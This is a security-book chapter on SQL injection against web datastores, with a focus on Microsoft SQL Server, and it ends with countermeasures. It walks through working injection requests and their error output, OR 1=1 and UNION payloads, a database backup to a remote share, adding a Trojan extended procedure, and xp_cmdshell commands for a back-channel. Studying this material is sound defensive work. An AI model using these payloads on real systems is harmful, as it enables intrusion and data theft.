Attacking Web Datastore Web sites present data. The data range from Web journals to catalogs of widgets to real-time financial information. Users see the colorful front-ends that present them with personalized shopping, but they do not see the less glamorous database servers sitting behind the scenes like a great Oz, churning away silently to manage inventory, user logins, e-mail, and other data-related functions.
The unseen database server is not untouchable. In this chapter we will show how variables—your username, for instance—can be modified to contain special instructions that affect how the database performs. These modifications, or SQL injection, drive to the heart of the application. After all, a Web merchant does not store credit card information in a file on the Web server—it’s in the database.
A SQL PRIMER Remember the Web application architecture presented in Chapter 1? We’re focusing on the data store. So, let’s review how the Web server interacts with the database. Where a Web server only understands the HTTP protocol, database servers only understand a specific language: SQL. We can draw on many examples of why the Web server connects to the database, but we’ll use the ubiquitous user login page.
When a user logs in to the site, the Web application collects two pieces of information, the username and password. The application takes these two parameters and creates a SQL statement that will collect some type of information from the database. At this point, however, only the Web server (the login.php page, for example) has performed any actions.
Next, the Web server connects to the database. This connection might be established once and maintained for a long time, or established each time the two servers need to communicate. Either way, the Web server uses its own username and password to authenticate to the database.
The Web server is now talking to the database. So, login.php passes the user credentials (username and password) in as a SQL statement to the database. The database accepts the statement, executes it, then responds with something like “the username and password match” or “username not found.” It is up to the application, login.php, to handle the response from the database.
SQL is a powerful part of the application. There are few other ways to store, query, and manage massive amounts of data other than using a database. That is also why it is so important to understand how a SQL statement can be misused. SQL INJECTION The exploits available to the SQL injection technique vary from innocuous error-generating characters to full command-line execution. No particular database vendor is more secure than another against these exploits. The vulnerability is introduced in the SQL queries and their supporting programmatic interface, whether it’s ASP, PHP, Perl, or any Hacking Exposed Web Applications other Web language. Even though we focus on Microsoft SQL Server quite a bit, the techniques carry across database types and all are equally vulnerable to insecure coding practices. SQL server is just more equal than others! We only need to round up a single suspect responsible for the majority of SQL injection problems: the single quote (’), also known as the tick. A common SQL structure uses the tick to delimit variables within the query: strSQL = "select userid from users where password = '" + password + "'"; Table 9-1 lists other characters and SQL formatting that we will use to test for vulnerabilities. We have to find a vulnerable application before we try to execute stored procedures or create complicated SQL structures. A Walk in the ODBC Woods Poor programming in a Microsoft SQL, IIS, or ASP platform is lethal to application security. The SQL injection test begins with a tick in the parameter list. The path to exploiting the vulnerability might be quick, but it usually requires a series of input validation tests to determine the internal structure of the SQL query. You’ll need to understand at least part of this structure in order to figure out how to manipulate it properly. The first part of this section reads more like an ODBC gazetteer. Bear with us, because it helps to understand the intent of the SQL injection and the reason for the error, and it provides a glimpse into the methodology for breaking down a SQL statement. We’ll describe the techniques more rigorously in a moment.
Look for ODBC errors in the HTML output, on the URL, and within comments or hidden fields. Some error-
handling routines might pretend to mask raw error output, but still track the error for the developers
to debug later.
If the tick generates a VBScript error or no error at all, move on to the next parameter.
A vulnerable SQL statement shines like a crazy diamond:
http://www.victim.com/SiteAdmin.asp?SiteID=12'
...
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark
before the character string ',@UserID=182'.
/SiteAdmin.asp, line 7
The unclosed quotation mark indicates a vulnerable query. Plus, the error contains
“@UserID=182”, which provides us with a field name and the specific UserID we have
been assigned. Any information about the database structure helps immensely. We’ll
hold off on a full-fledged SQL attack. The “@UserID” looks like part of a parameter list,
which would mean we’re up against a stored procedure. We want to try some other techniques
to test our conclusion. Let’s see what the comment (--) generates.
http://www.victim.com/SiteAdmin.asp?SiteID=12--
...
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Procedure 'getAdminHome1'
expects parameter '@UserID', which was not supplied.
/SiteAdmin.asp, line 7
At this point we know for sure that SiteAdmin.asp is vulnerable to SQL injection. The
double-dash causes SQL to process the remainder of the query as a comment. We’ve also
verified that the data are being passed to a stored procedure named getAdminHome1. It
will be tough to launch a successful attack. Stored procedures expect a predetermined
number of arguments and pigeonhole those arguments in specific parts of the query.Wecannot
merely rewrite the procedure’s parameter list. For example, if our original UserID was
182 and UserID 180 is an admin, thenwemight be tempted to rewrite the UserID parameter:
http://www.victim.com/SiteAdmin.asp?SiteID=12,@UserID=180--
...
Microsoft VBScript runtime (0x800A000D).
Type mismatch: '[string: "12,@UserID=180--"]'
/SiteAdmin.asp, line 114
As you can see, we’re out of ODBC error territory and into the realm of VBScript. Our
SQL injection has been relegated to a minor input validation error. However, we’re not
out of tricks yet. What happens if we throw a space (+) into the mix?
http://www.victim.com/SiteAdmin.asp?SiteID=11+,@UserID
...
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Must declare the variable '@UserID'.
Interesting. We’ve managed to generate an ODBC error once more, but the @UserID
variable has not been declared. This drives home the point of how difficult it is to break a
stored procedure. The SiteID variable is placed into the SiteID portion of the SQL statement.
No more, no less.
Of course, this might have all been a mistake. What if we hadn’t bothered to include
the SQL comment the first time around?
http://www.victim.com/SiteAdmin.asp?SiteID=12,@UserID=180
...
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Procedure or function
getAdminHome1 has too many arguments specified.
/SiteAdmin.asp, line 7
It looks like we were right all along. We can change our UserID. Unfortunately, there
are now two UserID parameters in the function call—one more than the procedure expected.
As another point of academic interest, consider a different method of submitting
multiple parameters:
http://www.victim.com/SiteAdmin.asp?SiteID=12&SiteID=12
...
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Must pass parameter
number 2 and subsequent parameters as '@name = value'. After the form
'@name = value' has been used, all subsequent parameters must be passed
in the form '@name = value'.
/SiteAdmin.asp, line 7
ASP receives the SiteID argument as “SiteID=12, 12”. The stored procedure sees this as:
@name = 12, 12
But as the error indicates, procedures have a highly regimented format for acceptable
parameters. It is yet one more error. And one more technique for identifying stored
procedures.
A SQL injection test doesn’t have to target the database tables. Try executing generic
SQL commands. For example, the eponymous PRINT command prints data. To test for
a SQL injection vulnerability, we compare the errors generated by the PRINT command
and its misspelling:
http://www.victim.com/SiteAdmin.asp?SiteID=12+PRIN
...
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax
near 'PRIN'.
http://www.victim.com/SiteAdmin.asp?SiteID=12+PRINT
...
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax
near ','.
This shows another success. In both cases, we passed the PRINT command through
ASP to the database, as evidenced by the ODBC error in both cases. For the first case, the
misspelled PRINT command produced the incorrect syntax as we expected. In the second
case, the incorrect syntax is a mysterious comma—indicating that the database accepted
the PRINT statement, but was expecting something to print (or another argument for a
stored procedure). For the truly devious, we consider printing internal database variables—
the server name, for example:
http://www.victim.com/SiteAdmin.asp?SiteID=12+PRINT+@@ServerName
...
Nothing happens. We know that @@ServerName is an internal variable used by all MS
SQL servers. However, even if the PRINT statement succeeded the application does not
know to show us the results. All it expects to do is receive data from the getAdminHome1
stored procedure.
Trust, but verify. In keeping with the black box approach to SQL injection, we have to
verify that calling on @@Servername was in fact a valid variable. So, we try a variable that
surely won’t exist.
http://www.victim.com/SiteAdmin.asp?SiteID=12+PRINT+@@Abulafia
...
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Must declare the
variable '@@Abulafia'.
We’ve picked on the SiteAdmin.asp file quite enough. Let’s change directions and
look at another file that is also susceptible to SQL injection attacks. Again, it is useful to
step through the injection process. Although a SQL technique does not vary, its method
of injection changes based on the design of the application. The next few examples are
more difficult to execute because the attacks must be performed against POST requests.
We must leave the comfort of the URL and move into tools such as Achilles.
During the course of the application survey we find a POST command in the
PageSearch.asp file. The arguments are as follows:
Send=1&hidSearchType=1&selTextField=L_Name&txtSearchValue=zombie
The parameter selTextField looks like a nice place to start. It appears to be a placeholder
for a SQL query on the L_Name (probably “last name” column) in a table. Instead
of placing a tick in the argument string, let’s go for the jugular—try to select data from a
different column.
http://www.victim.com/PageSearch.asp
POST: Send=1&hidSearchType=1&selTextField=UserID&txtSearchValue=zombie
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name 'UserID'.
/includes/subWriteActionTable.inc, line 51
According to our magnifying glass and deerstalker cap methodology, PageSearch.asp
is susceptible to SQL injection, there is no column called UserID in the table it calls, and we
have the name of an include file not referenced anywhere else in the application. Not bad
for a single change in one parameter.
POST: Send=1&URL=%2Fsecure%2Fdefault.asp&txtUserName=security&txtPwd=
security00';EXEC+sp_helptext'
[Microsoft][ODBC SQL Server Driver][SQL Server]The object '' does not
exist in database 'amapub'.
We could go crazy and try to back up the entire database:
Send=1&URL=%2Fsecure%2Fdefault.asp&txtUserName=security&txtPwd=
security00';backup+database+master+to+disk='\\172.16.172.116\share\bak.dat''
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[Microsoft][ODBC SQL Server Driver][SQL Server]BACKUP DATABASE permission
denied in database 'master'.
Fortunately, the application appears to be running with a low-privilege account. At
least security has been addressed at the host level. In an Armageddon scenario for the
administrator, we could insert a Trojan horse into the database. We need to upload a file,
then add it:
Send=1&URL=%2Fsecure%2Fdefault.asp&txtUserName=security&txtPwd=
security00';EXEC+sp_addextendedproc+'xp_trojan',+'xp_trojan.dll''
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[Microsoft][ODBC SQL Server Driver][SQL Server]EXECUTE permission denied
on object 'sp_addextendedproc', database 'master', owner 'dbo'.
Once more, we are foiled by a strong build policy. A better build policy for the server
would have removed many of the default stored procedures that we have been accessing.
Here are more examples that demonstrate how to manipulate an application’s
error-handling routine. In this case, the DataList.asp file is vulnerable to SQL injection.
However, a casual observer might miss this fact because theHTMLoutput displays a custom
error page, the text of which reads:
The database encountered an error. Please inform the system administrator.
However, if we actually examine the error redirect, then we notice that the parameters
to the GET request contain the raw ODBC error string. Here is a request:
https://www.victim.com/DataList.asp?Page=-1&PageName=(@@ServerName)--
and the Error.asp file to which the application directs us:
https://www.victim.com/Error.asp?log=True&ec=4&en=-
2147217900&ed=Could+not+find+stored+procedure+%27VENONASQLA12%27%2E&
es=Microsoft+OLE+DB+Provider+for+SQL+Server&pn=RL%2Einc&fn=ExecuteSP
The initial request combined three techniques: the comment (--), a default SQL procedure
(@@ServerName), and nested procedures (wrapped in parentheses). The SQL injection
worked, but its results are not where we might expect them to be. Take a close look at the
“ed” parameter in the redirected URL. If we remove the URL encoding, the correlation is
readily apparent:
ed=Could not find stored procedure 'VENONASQLA12'.
We have managed to execute a stored procedure, even though the application’s original
SQL query failed. Instead of printing our SQL injection, @@ServerName, the server
interprets it first, then tries to interpret the stored procedure to which it was a variable.
Thus, we discover that VENONASQLA12 is the server name where the SQL database
resides. Here are two more examples of exploiting the error string:
Sent - https://www.victim.com/DataList.asp?Page=-1&PageName=
(@@microsoftversion)-- Received -
https://www.victim.com/Error.asp?log=True&ec=4&en=-2147217900&
ed=Line+1%3A+Incorrect+syntax+near+%27134218262%27%2E&
es=Microsoft+OLE+DB+Provider+for+SQL+Server&pn=RL%2Einc&fn=ExecuteSP
Sent - https://www.victim.com/DataList.asp?Page=24&PageName=sp_who2+sa
Received - https://www.victim.com/Error.asp?log=True&ec=4&en=-2147217900&
ed=The+login+%27sa%5FGet%27+does+not+exist%2E&es=Microsoft+OLE+DB+Provider
+for+SQL+Server&pn=RL%2Einc&fn=ExecuteSP
Oops, we omitted the “--” characters and are informed that the “sa_Get” user does not
exist. Still, this is instructive in deducing the original form of the SQL query as well as
demonstrating the importance of correct SQL grammar. The URL should appear as:
https://www.victim.com/DataList.asp?Page=24&PageName=sp_who2+sa--
Unfortunately, this returns an HTML page that contains the column names for the
sp_who2 command, but not the output. In this scenario we were limited to procedures
that returned a single string, such as the server’s name or the software’s version number.
It would take some multiline SQL statements to gather more verbose information.
Let’s back up a second and demonstrate why this works. We only submit the
comment (--) and examine the output:
Sent - https://www.victim.com/DataList.asp?Page=2&PageName=--
Received - https://www.victim.com/Error.asp?log=True&ec=4&en=-2147217900&
ed=Line+1%3A+Incorrect+syntax+near+%27exec%27%2E&es=Microsoft+OLE+DB+
Provider+for+SQL+Server&pn=RL%2Einc&fn=ExecuteSP
As you can see, the abruptly terminated SQL statement ends with an exec command.
All we have been doing is providing stored procedures for the application to execute.
As a parting thought, consider the option that we do not even need to return data in
the error field. If we can perform SQL injection, then we most likely have access to the
xp_cmdshell, an extended stored procedure that provides the equivalent of cmd.exe. We
run a tcpdump on our system, then try a ping. If we see any incoming ICMP traffic, then it
won’t take long to build a back-channel into the database. Note that the incoming traffic
probably won’t be from the IP address of www.victim.com. The database is making the
connection, so the IP address could be a neighboring server, a connection made
through a NAT firewall, or no connection at all if strong network controls are in place
on victim.com’s network.
https://www.victim.com/DataList.asp?Page=24&PageName=
master..xp_cmdshell+'ping+192.168.90.12'--
The SQL injection process uses an iterative methodology. You first try a single invalid
character and examine the effect. Then you try a simple SQL command and examine the
effect. Eventually, you’ll reach the point where you have the correct number of ticks,
parentheses, or other formatting characters.
MS SQL Server TechniquesMicrosoft SQL Server has four default databases plus one sample:
t Master Manages data for all login accounts, configuration settings, other
databases, and initialization information. Many internal variables, stored
procedures, and extended stored procedures are called from this database.
n Model Provides a template for new databases.
n Msdb Supports SQL Server Agent for job scheduling.
n Tempdb Used as temporary storage for all jobs.
s Pubs Sample database that should be deleted.
We will definitely make queries of or access the Master database. More importantly,
we need to know some techniques to determine the database configuration, the Web
application’s database and tables, and the Windows environment around the database.
This is accomplished by accessing internal variables, stored procedures, and tables.
Default Internal Variables Microsoft SQL Server has several built-in variables that return
useful information about the server. These variables will be available even if the administrators
lock down access to the extended stored procedures (xp_* commands). They
also have the advantage of consisting of a single word. They don’t even require the
database name prepended, as in master..xp_cmdshell. Table 9-2 lists the default SQL
Server variables.
The procedures in boldface type return the most useful information. They also only
return a single datum—this comes in handy in some circumstances, such as manipulating
ODBC error codes that operate on a single variable.
Each of the procedures can also be called with a select statement in the format: SELECT @@variable.
The Name of the Rows SQL Server contains a small number of stored procedures that
users can call without explicit casting to the master.. database. Consequently, these are
short, to-the-point procedures that return useful information. Table 9-3 contains a list of
the stored procedures commonly used to enumerate users, table, and custom stored
procedures.
The biggest advantage of these stored procedures is that they can be called without
reference to the Master database. 
Extended Stored Procedures The extended stored procedures, signified by the “xp_” prefix,
provide robust system administration from the comfort of SQL. We will cover countermeasures
at the end of this chapter, but we’ll hint that one countermeasure involves
removing these commands entirely. Table 9-4 lists some procedures that do not require a
parameter. Table 9-5 contains a list of useful procedures that require a parameter.
Depending on the injection vector, you may not always be able to execute SQL statements
that require a parameter.
These few commands cover just about any aspect of system-level access. Also, before
you’re tempted to use xp_regread to grab the SAM file, you should know that that technique
only works against systems that do not have Syskey enabled. Windows 2000
enables this by default.
Default Local Tables (the Useful Ones) Also known as System Table Objects, these tables
contain information about the database and the operating system. Table 9-6 lists tables
that have the most useful information.
The easiest method to retrieve information from one of these tables is a SELECT *
statement. For example:
SELECT * FROM sysfiles
However, if you are familiar with databases, then you can pare the request to certain
fields—for example, to view all stored procedures:
SELECT name FROM sysobjects WHERE type = 'P'
Default Master Tables (the Useful Ones) Table 9-7 lists selected tables from the Master
database. These tables provide detailed information on the operating system and
database configurations. A SELECT from one of these tables usually requires the
“master..” indication:
SELECT * FROM master..sysdevices
General SQL TechniquesThe previous section’s focus on Microsoft SQL Server should not preclude you from trying
SQL injection techniques against other databases. MS SQL Server merely has an extreme
amount of functionality built into it that makes a SQL injection test more devastating. There
are still several techniques that apply to SQL-based databases. These techniques manipulate
the SQL statement by appending, inserting, and modifying normal SQL keywords—
using SQL against itself.
Remember to use placeholders for spaces when submitting SQL statements in the URL. The Web
server (and browser) will strip spaces unless they are occupied by “%20” or “+”.
SQL Operators SQL has a predefined list of keywords, or tokens, set aside to have special
meanings. If you want to select data from a table, you use the SELECT statement. A Web
application gets a lot of use out of SELECT, FROM, and WHERE tokens—these constitute
a basic query.ASQL injection can extend the query in order to retrieve alternate information
or generate an always true condition.
SQL statements are varied and often complicated. These few techniques represent the
wrenches you can use to pry open a database. More directed tests require more complicated
structures, but all of them rely on these basics.
These represent data manipulation techniques. The manner in which they are injected varies from a
single tick, to double dashes, to multiple ticks and parentheses. This is why it’s so important to be able
to walk through a series of SQL errors in order to find the right track into the database.
MOR 1=1
This statement of the obvious creates a true condition. This is useful in authentication
queries that check a username and password:
sqlAuth = "SELECT userid FROM logins WHERE name='" & Username & "' AND
password='" & Password & "'"
If a user logs in with the name “Wayne” and the password “Pirate,” then the query
would appear as:
SELECT userid FROM logins WHERE name='Wayne' AND password='Pirate'
Thus, Wayne couldn’t log in unless “Pirate” matches the entry in the database. However,
the “OR 1=1” tampers with this logic:
SELECT userid FROM logins WHERE name='Wayne' AND password='Pirate' OR 1=1
MUNION
A UNION statement combines SELECT statements. Use it to retrieve all rows from a
table. The basic syntax is
UNION ALL SELECT field FROM table WHERE condition
You can usually deduce the field and table from variable names in the application,
.inc files, or SQL errors. The condition is usually always true, such as 1=1 or ''='' (nothing
equals nothing).
MINSERT
The INSERT instruction does just that, inserts a value into a table. This might not seem
very useful; after all, we want to find out what’s in the database. It is useful for bypassing
authentication. Imagine if we use SQL injection to insert a new user into the Users table
with the name “neo” and password “trinity”:
INSERT INTO Users VALUES('neo', 'trinity')
Database Authentication Credentials A Web server needs to have a username and password
in order to connect to the database. The server makes this connection automatically.
Consequently, the application stores the authentication credentials somewhere within its
pages. Unfortunately, most applications store these connection strings in files in the Web
document root—a location accessible by the Web browser.
Sometimes developers rely on the server to protect sensitive files, such as IIS disallowing
requests for the global.asa file. However, if the application suffers from a file source disclosure
vulnerability (which happens with Web applications), then the username and
password may be up for grabs. Other times, the developers place the connection string in
files that they do not expect the user to find or view. These files have names such as
xmlserver.js, database.inc, or server.js.
An MS SQL Server connection string is easy to spot, especially when it has a blank
password:
strConn = "Provider=SQLOLEDB;Data Source=dotcomdb;Initial Catalog=Demo;
User Id=sa;Password="
Oracle’s global.jsa file might have credentials inside.
Common Countermeasures
Each database has its own methods of secure installation and security lockdown. Yet
there are steps you can take to defend against SQL injection attacks at the application
level. U Robust Error Handling
Never pass raw ODBC or other errors to the user. Use generic error pages and error handlers
to inform a user of a problem, but do not provide system information, variables, or
other data. In Java, for example, the best way to accomplish this is through the “try, catch,
finally” method of exception handling. U Parameter Lists
Place user-supplied data into specific variables. String concatenation is the bane of a
secure SQL statement because it provides the easiest way for a user to manipulate the
statement with tick marks.
Input validation should be performed on the Web server and items in the database
should be strongly typed. A field that only uses numeric values should be a type INT, not
a VARCHAR. U Stored Procedures
Although not a panacea, user-defined stored procedures are more difficult to break with
SQL injection. They require a specific number of parameters in specific places in a specific
format. That’s a lot of prerequisites to satisfy. Improved performance is often a byproduct
of stored procedures—it’s not just for security! U Running with Least Privilege
The database application should run in a least-privilege situation. Also, the user account
that the Web server uses should have limited functionality. Sure, it must read and write to
the database, but it doesn’t have to write to the Master database or perform backup duties.
Protecting the Schema
This might sound like a thinly veiled attempt at security through obscurity, but table
names, column names, and SQL structures should not appear in the HTML. We’ve
seen instances where the developer placed the entire table definition between HTML
comment tags. This might be a useful mnemonic; however, the comments would be
better placed between ASP comment tags where the developers can see them, but the
users cannot.
SUMMARY Successful SQL injection requires a simple methodology:
1. Generate a database error in the application through input validation
techniques.
2. Manipulate the invalid input until you can determine the structure of the
underlying SQL statement or find a combination of characters that execute
properly.
3. Gather information about the application’s database via SQL queries.
4. Gather information about the system via SQL queries.
You will spend most of the time on steps 1 and 2. Once you’ve determined the correct
format of the SQL injection, then you can execute SQL statements at will. The most
important thing is to be able to get through step 2. It’s all about walking through ticks,
semicolons, and dashes. |
